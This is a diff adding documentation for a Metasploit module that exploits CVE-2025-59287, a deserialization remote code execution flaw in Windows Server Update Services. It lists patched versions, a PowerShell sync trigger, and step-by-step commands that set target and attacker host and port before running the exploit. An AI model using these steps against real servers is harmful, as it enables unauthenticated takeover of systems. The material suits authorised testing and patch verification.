+## Vulnerable Application
+
+Provides features for managing and distributing updates through a management console.
+The [CVE-2025-59287](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-59287) is a remote code execution vulnerability in
+this component that allows an unauthenticated attacker to create a specially crafted event that gets unsafely deserialized upon server sync.
+One way to run synchronization is to open the `Windows Server Update Service` app,
+the other is to run the following command from PowerShell:
+
+`(Get-WsusServer).GetSubscription().GetLastSynchronizationInfo()`
+
+- Windows Server 2012 - fixed in version **6.2.9200.25728**
+- Windows Server 2016 - fixed in version **10.0.14393.8524**
+- Windows Server 2025 - fixed in version **10.0.26100.6905**
+
+## Verification Steps
+
+1. Setup WSUS on target server
+1. Do: `use exploit/windows/http/wsus_deserialization_rce`
+1. Do: `set RHOSTS [target IP]`
+1. Do: `set LHOST [attacker IP]`
+1. Do: `set LPORT [attacker port]`
+1. Do: `run`
+
+## Options
+
+
+## Scenarios

+ This module exploits deserialization vulnerability in legacy serialization mechanism in Windows Server Update Services (WSUS). The vulnerability allows unauthenticated attacker to create specially crafted event, which triggers unsafe deserialization upon server synchronization. The module does not require any other options and upon successful exploitation, the payload is executed in context of administrator.
